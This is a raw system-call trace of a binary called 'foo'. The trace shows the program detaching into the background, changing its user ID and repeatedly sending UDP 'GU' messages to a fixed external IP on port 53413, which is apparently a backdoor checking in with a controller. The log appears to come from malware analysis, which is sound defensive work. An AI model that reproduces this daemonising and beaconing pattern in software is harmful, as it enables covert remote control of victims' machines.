execve("./foo", ["foo"], [/* 60 vars */]) = 0
personality(PER_LINUX)                  = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x4008eb68) = 0
fork()                                  = 15422
[pid 15422] setsid()                    = 15422
[pid 15422] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x8064854) = 0
[pid 15422] setuid(1)                   = 0
[pid 15422] setreuid(65535, 1)          = 0
[pid 15422] fork()                      = 15423
[pid 15423] sigaction(SIGPIPE, {SIG_IGN}, {SIG_DFL}, 0x4008eb68) = 0
[pid 15423] chdir("/")                  = 0
[pid 15423] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x8064854) = 0
[pid 15423] socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP) = 3
[pid 15423] fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK) = 0
[pid 15423] sendto(3, "GU\n", 3, 0, {sin_family=AF_INET, sin_port=htons(53413), sin_addr=inet_addr("216.242.103.2")}}, 16) = 3
[pid 15423] sigprocmask(SIG_BLOCK, [ALRM], []) = 0
[pid 15423] sigaction(SIGALRM, {0x805583c, [], 0}, {SIG_DFL}, 0x4008eb68) = 0
[pid 15423] time(NULL)                  = 1028733128
[pid 15423] alarm(10)                   = 0
[pid 15423] sigsuspend([] <unfinished ...>
[pid 15421] _exit(0)                    = ?
[pid 15422] _exit(0)                    = ?
--- SIGALRM (Alarm clock) ---
<... sigsuspend resumed> )              = -1 EINTR (Interrupted system call)
sigreturn()                             = ? (mask now [ALRM])
time(NULL)                              = 1028733138
sigaction(SIGALRM, {SIG_DFL}, NULL, 0x80649a0) = 0
alarm(0)                                = 0
sigprocmask(SIG_SETMASK, [], NULL)      = 0
recvfrom(3, 0xbfff7d44, 1000, 0, 0xbfff7d20, 0xbfff7d1c) = -1 EAGAIN (Resource temporarily unavailable)
sendto(3, "GU\n", 3, 0, {sin_family=AF_INET, sin_port=htons(53413), sin_addr=inet_addr("216.242.103.2")}}, 16) = 3
sigprocmask(SIG_BLOCK, [ALRM], [])      = 0
sigaction(SIGALRM, {0x805583c, [], 0}, {SIG_DFL}, 0x806485c) = 0
time(NULL)                              = 1028733138
alarm(10)                               = 0
sigsuspend([] <unfinished ...>